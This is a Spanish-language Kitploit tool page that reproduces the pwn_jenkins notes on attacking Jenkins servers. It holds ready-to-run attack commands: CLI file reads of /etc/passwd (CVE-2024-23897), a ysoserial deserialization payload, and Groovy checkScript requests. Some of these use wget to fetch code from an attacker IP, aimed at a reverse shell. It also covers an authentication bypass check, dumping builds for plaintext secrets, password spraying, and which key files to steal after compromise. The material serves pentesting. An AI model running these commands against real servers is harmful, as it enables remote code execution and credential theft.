Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
pwn_jenkins — Notas sobre atacar servidores Jenkins | Kitploit
Herramientas/GitHubGitHub/gquere/pwn_jenkins
Ataques de ContraseñasAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPost-ExplotaciónPruebas de PenetraciónDetección de SecretosDesarrollo de Payloads
GitHubgquere/pwn_jenkins

pwn_jenkins

2.1k32622hace 2 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Notas sobre atacar servidores Jenkins

Ver Repositorio

Ejecución remota de código

Lectura arbitraria del CLI de Jenkins (CVE-2024-23897 afecta a versiones anteriores a 2.442 y a la LTS 2.426.3)

Aviso de Jenkins, Créditos

Autenticado, puede recuperar un archivo completo:

java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins -auth abc:abc connect-node "@/etc/passwd"

Sin autenticación o sin permisos Global/Read, solo se pueden leer 3 líneas: Leer la primera línea:

java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins who-am-i "@/etc/passwd"

Leer la segunda línea:

java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins enable-job "@/etc/passwd"

Leer la tercera línea:

java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins keep-build "@/etc/passwd"

Cómo hacer fuerza bruta a la clave de cifrado de credenciales.

RCE por deserialización en Jenkins antiguos (CVE-2015-8103, Jenkins 1.638 y anteriores)

Usa ysoserial para generar un payload. Luego RCE usando este script:

java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out
./jenkins_rce.py jenkins_ip jenkins_port payload.out

Bypass de autenticación/ACL (CVE-2018-1000861, Jenkins <2.150.1)

Aviso de Jenkins

Detalles aquí.

Si Jenkins solicita autenticación pero devuelve datos válidos con la siguiente petición, es vulnerable:

curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a

RCE por metaprogramación en plugins de Jenkins (CVE-2019-1003000, CVE-2019-1003001, CVE-2019-1003002)

Aviso de Jenkins

Vulnerabilidad RCE original aquí, exploit completo aquí.

RCE alternativo con permisos Overall/Read y Job/Configure aquí.

RCE CheckScript en Jenkins (CVE-2019-1003029, CVE-2019-1003030)

Aviso de Jenkins, Créditos.

Comprueba si una instancia de Jenkins es vulnerable (necesita permisos Overall/Read) con un poco de Groovy:

curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){sleep(5000)}}'

Nota: Si recibes un error 403 que indica que falta la crumb (que es una protección CSRF en Jenkins), puedes obtener el valor de la crumb con una petición GET a https://example.com/crumbIssuer/api/json. El valor de la crumb deberá añadirse a la petición POST en una cabecera Jenkins-Crumb.

Ejecutar comandos bash arbitrarios:

curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){"wget xx.xx.xx.xx/bla.txt".execute()}}'

Si no obtienes una reverse shell de inmediato, puedes depurar lanzando una excepción:

curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'

RCE en el plugin Git (<3.12.0) de Jenkins (CVE-2019-10392)

Aviso de Jenkins, Créditos.

Este solo funcionará si un usuario tiene los derechos 'Jobs/Configure' en la matriz de seguridad, así que es muy específico.

CorePlague (CVE-2023-27898, CVE-2023-27905)

Aviso de Jenkins, Créditos

Ten en cuenta que esto solo es explotable si se usa un Update Center dedicado y desactualizado. Por lo tanto, la mayoría de los servidores no son vulnerables.

Volcado de builds para encontrar secretos en texto claro

Usa este script para volcar las salidas de consola de los builds y las variables de entorno de los builds y, con suerte, encontrar secretos en texto claro.

usage: jenkins_dump_builds.py [-h] [-u USER] [-p PASSWORD] [-o OUTPUT_DIR]
                              [-l] [-r] [-d] [-s] [-v]
                              url [url ...]

Dump all available info from Jenkins

positional arguments:
  url

optional arguments:
  -h, --help            show this help message and exit
  -u USER, --user USER
  -p PASSWORD, --password PASSWORD
  -o OUTPUT_DIR, --output-dir OUTPUT_DIR
  -l, --last            Dump only the last build of each job
  -r, --recover_from_failure
                        Recover from server failure, skip all existing
                        directories
  -d, --downgrade_ssl   Downgrade SSL to use RSA (for legacy)
  -s, --no_use_session  Don't reuse the HTTP session, but create a new one for
                        each request (for legacy)
  -v, --verbose         Debug mode

Spraying de contraseñas

Usa este script de Python o este script de PowerShell.

Archivos a copiar tras el compromiso

Estos archivos son necesarios para descifrar los secretos de Jenkins:

  • secrets/master.key
  • secrets/hudson.util.Secret

Estos secretos suelen encontrarse en:

  • credentials.xml
  • jobs/.../build.xml

Aquí tienes una regexp para encontrarlos:

grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

Volcado de credenciales LDAP en una máquina comprometida

Descargar herramienta